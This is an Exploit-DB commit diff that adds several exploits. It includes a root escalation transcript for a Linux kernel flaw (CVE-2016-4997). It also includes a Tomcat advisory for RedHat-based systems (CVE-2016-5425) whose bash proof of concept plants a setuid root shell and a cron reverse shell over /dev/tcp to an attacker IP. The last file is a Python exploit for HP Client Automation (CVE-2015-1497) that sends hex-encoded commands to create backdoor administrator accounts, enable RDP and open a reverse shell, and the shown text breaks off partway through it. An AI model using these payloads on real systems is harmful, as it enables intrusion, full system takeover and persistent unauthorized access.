DB: 2016-10-11
9 new exploits ShoreTel Connect ONSITE - Blind SQL Injection Leap Service - Unquoted Service Path Privilege Escalation Wacom Consumer Service - Unquoted Service Path Privilege Escalation Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation Apache Tomcat 8/7/6 (RedHat-Based Distros) - Privilege Escalation Linux Kernel 4.6.2 (Ubuntu 16.04.1) - IP6T_SO_SET_REPLACE Privilege Escalation Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation HP Client - Automation Command Injection / Remote Code Execution Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)
This commit is contained in:
Offensive Security
parent
8ea4614148
commit
a3dbf3113e
10 changed files with 889 additions and 0 deletions
|
|
@ -36598,6 +36598,15 @@ id,file,description,date,author,platform,type,port
|
|||
40477,platforms/windows/local/40477.txt,"BlueStacks 2.5.55 - Unquoted Service Path Privilege Escalation",2016-10-07,Th3GundY,windows,local,0
|
||||
40478,platforms/windows/local/40478.txt,"Waves Audio Service - Unquoted Service Path Privilege Escalation",2016-10-07,"Ross Marks",windows,local,0
|
||||
40480,platforms/php/webapps/40480.txt,"miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)",2016-10-09,Besim,php,webapps,0
|
||||
40481,platforms/php/webapps/40481.txt,"ShoreTel Connect ONSITE - Blind SQL Injection",2016-09-19,"Iraklis Mathiopoulos",php,webapps,0
|
||||
40482,platforms/windows/local/40482.txt,"Fitbit Connect Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40483,platforms/windows/local/40483.txt,"Leap Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40484,platforms/windows/local/40484.txt,"Wacom Consumer Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40485,platforms/windows/local/40485.txt,"Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40486,platforms/php/webapps/40486.txt,"PHP Press Release - Cross-Site Request Forgery (Add Admin)",2016-10-09,Besim,php,webapps,0
|
||||
40487,platforms/php/webapps/40487.txt,"PHP Press Release - Stored Cross Site Scripting",2016-10-09,Besim,php,webapps,0
|
||||
40488,platforms/linux/local/40488.txt,"Apache Tomcat 8/7/6 (RedHat-Based Distros) - Privilege Escalation",2016-10-10,"Dawid Golunski",linux,local,0
|
||||
40489,platforms/lin_x86-64/local/40489.txt,"Linux Kernel 4.6.2 (Ubuntu 16.04.1) - IP6T_SO_SET_REPLACE Privilege Escalation",2016-10-10,"Qian Zhang",lin_x86-64,local,0
|
||||
40490,platforms/windows/local/40490.txt,"Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation",2016-10-10,hyp3rlinx,windows,local,0
|
||||
40491,platforms/multiple/remote/40491.py,"HP Client - Automation Command Injection / Remote Code Execution",2016-10-10,SlidingWindow,multiple,remote,0
|
||||
40492,platforms/php/webapps/40492.html,"Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)",2016-10-10,Besim,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
42
platforms/lin_x86-64/local/40489.txt
Executable file
42
platforms/lin_x86-64/local/40489.txt
Executable file
|
|
@ -0,0 +1,42 @@
|
|||
# Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call
|
||||
# Date: 2016.10.8
|
||||
# Exploit Author: Qian Zhang@MarvelTeam Qihoo 360
|
||||
# Version: Linux kernel <= 4.6.2
|
||||
# Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic
|
||||
# CVE: CVE-2016-4997
|
||||
# Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10
|
||||
# Contact: tyrande000@gmail.com
|
||||
|
||||
#DESCRIPTION
|
||||
#===========
|
||||
#The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields,
|
||||
#which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded.
|
||||
|
||||
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls
|
||||
compile.sh enjoy enjoy.c pwn pwn.c version.h
|
||||
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables
|
||||
[sudo] password for zhang_q:
|
||||
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn
|
||||
pwn begin, let the bullets fly . . .
|
||||
and wait for a minute . . .
|
||||
pwn over, let's enjoy!
|
||||
preparing payload . . .
|
||||
trigger modified tty_release . . .
|
||||
got root, enjoy :)
|
||||
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE#
|
||||
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl
|
||||
Static hostname: ubuntu
|
||||
Icon name: computer-vm
|
||||
Chassis: vm
|
||||
Machine ID: 355cdf4ce8a048288640c2aa933c018f
|
||||
Virtualization: vmware
|
||||
Operating System: Ubuntu 16.04.1 LTS
|
||||
Kernel: Linux 4.4.0-21-generic
|
||||
Architecture: x86-64
|
||||
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE#
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40489.zip
|
||||
283
platforms/linux/local/40488.txt
Executable file
283
platforms/linux/local/40488.txt
Executable file
|
|
@ -0,0 +1,283 @@
|
|||
=============================================
|
||||
- Discovered by: Dawid Golunski
|
||||
- http://legalhackers.com
|
||||
- dawid (at) legalhackers.com
|
||||
|
||||
- CVE-2016-5425
|
||||
- Release date: 10.10.2016
|
||||
- Revision: 1
|
||||
- Severity: High
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
"The Apache Tomcat® software is an open source implementation of the
|
||||
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket
|
||||
technologies. The Java Servlet, JavaServer Pages, Java Expression Language
|
||||
and Java WebSocket specifications are developed under the Java Community
|
||||
Process.
|
||||
|
||||
The Apache Tomcat software is developed in an open and participatory
|
||||
environment and released under the Apache License version 2.
|
||||
The Apache Tomcat project is intended to be a collaboration of the
|
||||
best-of-breed developers from around the world.
|
||||
|
||||
Apache Tomcat software powers numerous large-scale, mission-critical web
|
||||
applications across a diverse range of industries and organizations.
|
||||
Some of these users and their stories are listed on the PoweredBy wiki page.
|
||||
"
|
||||
|
||||
http://tomcat.apache.org/
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
Apache Tomcat packages provided by default repositories of RedHat-based
|
||||
distributions (including CentOS, RedHat, OracleLinux, Fedora, etc.)
|
||||
create a tmpfiles.d configuration file with insecure permissions which
|
||||
allow attackers who are able to write files with tomcat user permissions
|
||||
(for example, through a vulnerability in web application hosted on Tomcat)
|
||||
to escalate their privileges from tomcat user to root and fully compromise
|
||||
the target system.
|
||||
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
The vulnerability stems from the tomcat.conf file installed by default
|
||||
by packages on RedHat-based systems with write permissions for the tomcat
|
||||
group:
|
||||
|
||||
[root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf
|
||||
-rw-rw-r--. 1 root tomcat 361 Oct 9 23:58 /usr/lib/tmpfiles.d/tomcat.conf
|
||||
|
||||
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
|
||||
temporary files including their creation.
|
||||
|
||||
Attackers could very easily exploit the weak permissions on tomcat.conf to
|
||||
inject configuration that creates a rootshell or remote reverse shell that
|
||||
allows them to execute arbitrary commands with root privileges.
|
||||
|
||||
Injected malicious settings would be processed whenever
|
||||
/usr/bin/systemd-tmpfiles gets executed.
|
||||
|
||||
systemd-tmpfiles is executed by default on boot on RedHat-based systems
|
||||
through systemd-tmpfiles-setup.service service as can be seen below:
|
||||
|
||||
|
||||
---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]---
|
||||
|
||||
[...]
|
||||
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev
|
||||
|
||||
----------------------------------------------------------------
|
||||
|
||||
Depending on the system in use, the execution of systemd-tmpfiles could also
|
||||
be triggered by other services, cronjobs, startup scripts etc.
|
||||
|
||||
|
||||
The vulnerability could potentially get exploited by remote attackers in
|
||||
combination with a vulnerable web application hosted on Tomcat if they
|
||||
managed to find a path traversal (e.g in a file upload feature) or an arbitrary
|
||||
file write/append vulnerability. This would allow them to append settings
|
||||
to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root
|
||||
privileges without a prior local access/shell on the system.
|
||||
This vector could prove useful to attackers, for example if they were unable to
|
||||
obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a
|
||||
vulnerable file upload feature due to restrictions imposed by Tomcat security
|
||||
manager, or a read-only webroot etc.
|
||||
|
||||
It is worth to note that systemd-tmpfiles does not stop on syntax errors when
|
||||
processing configuration files which makes exploitation easier as attackers only
|
||||
need to inject their payload after a new line and do not need to worry
|
||||
about garbage data potentially prepended by a vulnerable webapp in case of
|
||||
Arbitrary File Write/Append exploitation.
|
||||
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT EXPLOIT
|
||||
-------------------------
|
||||
|
||||
-----------[ tomcat-RH-root.sh ]---------
|
||||
|
||||
#!/bin/bash
|
||||
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
|
||||
# CVE-2016-5425
|
||||
#
|
||||
# Full advisory at:
|
||||
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
|
||||
#
|
||||
# Discovered and coded by:
|
||||
# Dawid Golunski
|
||||
# http://legalhackers.com
|
||||
#
|
||||
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
|
||||
#
|
||||
# For testing purposes only.
|
||||
#
|
||||
|
||||
ATTACKER_IP=127.0.0.1
|
||||
ATTACKER_PORT=9090
|
||||
|
||||
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
|
||||
echo -e " Discovered by Dawid Golunski\n"
|
||||
echo "[+] Checking vulnerability"
|
||||
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
|
||||
exit 1
|
||||
fi
|
||||
echo -e "\n[+] Your system is vulnerable!"
|
||||
|
||||
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
|
||||
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
|
||||
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
|
||||
z /usr/share/tomcat/rootsh 4770 root root -
|
||||
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
|
||||
_eof_
|
||||
|
||||
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
|
||||
cat /usr/lib/tmpfiles.d/tomcat.conf
|
||||
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
|
||||
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),
|
||||
the rootshell will be created in /usr/share/tomcat/rootsh.
|
||||
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"
|
||||
|
||||
|
||||
--------------[ eof ]--------------------
|
||||
|
||||
|
||||
Example run:
|
||||
|
||||
-bash-4.2$ rpm -qa | grep -i tomcat
|
||||
tomcat-7.0.54-2.el7_1.noarch
|
||||
|
||||
-bash-4.2$ cat /etc/redhat-release
|
||||
CentOS Linux release 7.2.1511 (Core)
|
||||
|
||||
-bash-4.2$ id
|
||||
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
|
||||
-bash-4.2$ ./tomcat-RH-root.sh
|
||||
|
||||
* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *
|
||||
Discovered by Dawid Golunski
|
||||
|
||||
[+] Checking vulnerability
|
||||
-rw-rw-r--. 1 root tomcat 43 Oct 10 02:39 /usr/lib/tmpfiles.d/tomcat.conf
|
||||
|
||||
[+] Your system is vulnerable!
|
||||
|
||||
[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf...
|
||||
[+] /usr/lib/tmpfiles.d/tomcat.conf contains:
|
||||
f /var/run/tomcat.pid 0644 tomcat tomcat -
|
||||
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
|
||||
z /usr/share/tomcat/rootsh 4770 root root -
|
||||
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/127.0.0.1/9090 0<&1 2>&1 & \n\n"
|
||||
|
||||
[+] Payload injected! Wait for your root shell...
|
||||
|
||||
Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),
|
||||
the rootshell will be created in /usr/share/tomcat/rootsh.
|
||||
Additionally, a reverse shell should get executed by crond shortly after and connect to 127.0.0.1:9090
|
||||
|
||||
-bash-4.2$ nc -l -p 9090
|
||||
bash: no job control in this shell
|
||||
[root@centos7 ~]# id
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
|
||||
|
||||
[root@centos7 ~]# ls -l /usr/share/tomcat/rootsh
|
||||
ls -l /usr/share/tomcat/rootsh
|
||||
-rwsrwx---. 1 root root 960392 Aug 2 12:00 /usr/share/tomcat/rootsh
|
||||
[root@centos7 ~]#
|
||||
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
Attackers who have gained access to tomcat user account or the ability to
|
||||
write files as tomcat user could escalate their privileges to root and fully
|
||||
compromise the affected system.
|
||||
|
||||
As explained in section IV., the vulnerability could potentially get exploited
|
||||
by remote attackers in combination with certain web application vulnerabilities
|
||||
to achieve command execution without prior shell access.
|
||||
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
Multiple versions of Tomcat packages on RedHat-based systems are affected.
|
||||
|
||||
The vulnerability was confirmed on Tomcat installed from default repositories
|
||||
on the following systems:
|
||||
|
||||
- CentOS
|
||||
- Fedora
|
||||
- Oracle Linux
|
||||
- RedHat
|
||||
|
||||
Refer to information provided by your distribution to obtain an exact list
|
||||
of vulnerable packages.
|
||||
|
||||
|
||||
Detailes provided by RedHat can be found at:
|
||||
|
||||
https://access.redhat.com/security/cve/CVE-2016-5425
|
||||
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Adjust permissions on /usr/lib/tmpfiles.d/tomcat.conf file to remove write
|
||||
permission for the tomcat group.
|
||||
|
||||
Alternatively, update to the latest packages provided by your distribution.
|
||||
Confirm the file permissions after the update.
|
||||
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
http://legalhackers.com
|
||||
|
||||
http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
|
||||
|
||||
The source code of the exploit (tomcat-RH-root.sh) can be downloaded from:
|
||||
http://legalhackers.com/exploits/tomcat-RH-root.sh
|
||||
|
||||
CVE-2016-5425
|
||||
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425
|
||||
|
||||
https://access.redhat.com/security/cve/CVE-2016-5425
|
||||
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
http://legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
10.10.2016 - Advisory released
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
212
platforms/multiple/remote/40491.py
Executable file
212
platforms/multiple/remote/40491.py
Executable file
|
|
@ -0,0 +1,212 @@
|
|||
# Exploit Title: [HP Client - Automation Command Injection]
|
||||
# Date: [10/10/2016]
|
||||
# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot
|
||||
# Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/]
|
||||
# Version: [Tested on version 7.9 but should work on 8.1, 9.0, 9.1 too]
|
||||
# Tested on: [Windows 7 and CentOS release 6.7 (Final)]
|
||||
# CVE : [CVE-2015-1497]
|
||||
|
||||
#Can run following commands on linux target
|
||||
#Useradd Payload: hide hide sh -c ' useradd amiroot -p ID/JlXFIWowsE -g root'
|
||||
#Reverse Shell Payload: hide hide sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.35.140\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
|
||||
|
||||
|
||||
#Runs following commands on Windows target
|
||||
#hide hide cmd.exe /c net user hack3r "hack3r" /add
|
||||
#hide hide cmd.exe /c net localgroup administrators hack3r /add
|
||||
#hide hide cmd.exe /c net localgroup "Remote Desktop Users" hack3r /add
|
||||
#hide hide cmd.exe /c netsh firewall set service RemoteDesktop enable
|
||||
#hide hide cmd/exe /c netsh firewall set service type=RemoteDesktop mode=enable profile=ALL
|
||||
#hide hide cmd/exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
|
||||
|
||||
import sys,socket
|
||||
|
||||
print("\n# Exploit Title: [HP Client - Automation Command Injection]\n# Date: [10/10/2016]\n# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot\n# Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/]\n# Version: [7.9, 8.1, 9.0, 9.1]\n# Tested on: [Windows 7, CentOS release 6.7 (Final)]\n# CVE : [CVE-2015-1497]\n")
|
||||
|
||||
def exploit_Linux(target_IP,exploit_param):
|
||||
if exploit_param == "1":
|
||||
print("\n[+]Adding privileged user amiroot/nopass")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x73\x68\x20\x2d\x63\x20\x27\x20\x75\x73\x65\x72\x61\x64\x64\x20\x61\x6d\x69\x72\x6f\x6f\x74\x20\x2d\x70\x20\x49\x44\x2f\x4a\x6c\x58\x46\x49\x57\x6f\x77\x73\x45\x20\x20\x2d\x67\x20\x72\x6f\x6f\x74\x27\x00"
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully added user amiroot/nopass")
|
||||
else:
|
||||
print("[-]Failed to add user amiroot/nopass")
|
||||
s.close()
|
||||
|
||||
elif exploit_param == "2":
|
||||
print("\n[+]Trying to get a reverse shell")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
|
||||
#Change this
|
||||
#Reverse Shell Payload: hide hide sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.35.140\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x73\x68\x20\x2d\x63\x20\x22\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2c\x6f\x73\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x73\x6f\x63\x6b\x65\x74\x2e\x41\x46\x5f\x49\x4e\x45\x54\x2c\x73\x6f\x63\x6b\x65\x74\x2e\x53\x4f\x43\x4b\x5f\x53\x54\x52\x45\x41\x4d\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x5c\x22\x31\x30\x2e\x31\x30\x2e\x33\x35\x2e\x31\x34\x30\x5c\x22\x2c\x34\x34\x33\x29\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x30\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x31\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x32\x29\x3b\x70\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x63\x61\x6c\x6c\x28\x5b\x5c\x22\x2f\x62\x69\x6e\x2f\x73\x68\x5c\x22\x2c\x5c\x22\x2d\x69\x5c\x22\x5d\x29\x3b\x27\x22\x00"
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Exploit completed successfully.\n[+]Try to SSH into the target with username/password: amiroot/nopass")
|
||||
else:
|
||||
print("[-]Failed to get reverse shell")
|
||||
s.close()
|
||||
|
||||
else:
|
||||
print("\n[-]Invalid exploit parameter provided for Linux target")
|
||||
sys.exit()
|
||||
|
||||
|
||||
def exploit_Windows(target_IP):
|
||||
|
||||
counter = 0
|
||||
print("[+]Adding a local user hack3r/hack3r")
|
||||
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x68\x61\x63\x6b\x33\x72\x20\x22\x68\x61\x63\x6b\x33\x72\x22\x20\x2f\x61\x64\x64\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully added user hack3r/hack3r")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to add user hack3r/hack3r")
|
||||
s.close()
|
||||
|
||||
|
||||
print("[+]Adding user 'hack3r' to Local Administrator's group")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x68\x61\x63\x6b\x33\x72\x20\x2f\x61\x64\x64\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully added user 'hack3r' to Local Administrators group")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to add user to 'hack3r' Local Administrators group")
|
||||
s.close()
|
||||
|
||||
#Add user Hack3r to "Remote Desktop Users" Group
|
||||
print("[+]Adding user 'hack3r' to 'Remote Desktop Users' group")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x22\x52\x65\x6d\x6f\x74\x65\x20\x44\x65\x73\x6b\x74\x6f\x70\x20\x55\x73\x65\x72\x73\x22\x20\x68\x61\x63\x6b\x33\x72\x20\x2f\x61\x64\x64\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully added user 'hack3r' to 'Remote Desktop Users' group")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to add user 'hack3r' to 'Remote Desktop Users' group")
|
||||
s.close()
|
||||
|
||||
#Enable RDP
|
||||
print("[+]Trying to enable Remote Desktop Service")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x73\x68\x20\x66\x69\x72\x65\x77\x61\x6c\x6c\x20\x73\x65\x74\x20\x73\x65\x72\x76\x69\x63\x65\x20\x52\x65\x6d\x6f\x74\x65\x44\x65\x73\x6b\x74\x6f\x70\x20\x65\x6e\x61\x62\x6c\x65\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully enabled Remote Desktop Service")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to enable Remote Desktop Service")
|
||||
s.close()
|
||||
|
||||
|
||||
#Enable RDP for all profiles
|
||||
print("[+]Trying to enable Remote Desktop Service for all firewall profiles")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x73\x68\x20\x66\x69\x72\x65\x77\x61\x6c\x6c\x20\x73\x65\x74\x20\x73\x65\x72\x76\x69\x63\x65\x20\x74\x79\x70\x65\x3d\x52\x65\x6d\x6f\x74\x65\x44\x65\x73\x6b\x74\x6f\x70\x20\x6d\x6f\x64\x65\x3d\x65\x6e\x61\x62\x6c\x65\x20\x70\x72\x6f\x66\x69\x6c\x65\x3d\x41\x4c\x4c\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully enabled Remote Desktop Service for all firewall profiles")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to enable Remote Desktop Service for all firewall profiles")
|
||||
s.close()
|
||||
|
||||
#Setup target to listen for RDP connections
|
||||
print("[+]Setting up the target server to listen to RDP connections")
|
||||
request = "\x00"
|
||||
request+= "\x31\x32\x33\x31\x32\x33\x00"
|
||||
request+= "\x41\x42\x43\x00"
|
||||
request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x72\x65\x67\x20\x61\x64\x64\x20\x22\x48\x4b\x45\x59\x5f\x4c\x4f\x43\x41\x4c\x5f\x4d\x41\x43\x48\x49\x4e\x45\x5c\x53\x59\x53\x54\x45\x4d\x5c\x43\x75\x72\x72\x65\x6e\x74\x43\x6f\x6e\x74\x72\x6f\x6c\x53\x65\x74\x5c\x43\x6f\x6e\x74\x72\x6f\x6c\x5c\x54\x65\x72\x6d\x69\x6e\x61\x6c\x20\x53\x65\x72\x76\x65\x72\x22\x20\x2f\x76\x20\x66\x44\x65\x6e\x79\x54\x53\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x20\x2f\x74\x20\x52\x45\x47\x5f\x44\x57\x4f\x52\x44\x20\x2f\x64\x20\x30\x20\x2f\x66\x00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((target_IP, 3465))
|
||||
s.send(request)
|
||||
response = s.recv(1024)
|
||||
|
||||
if response == "\x00":
|
||||
print("[+]Successfully setup the target server to listen to RDP connections")
|
||||
counter+= 1
|
||||
else:
|
||||
print("[-]Failed to setup the target server to listen to RDP connections")
|
||||
s.close()
|
||||
|
||||
if counter == 6:
|
||||
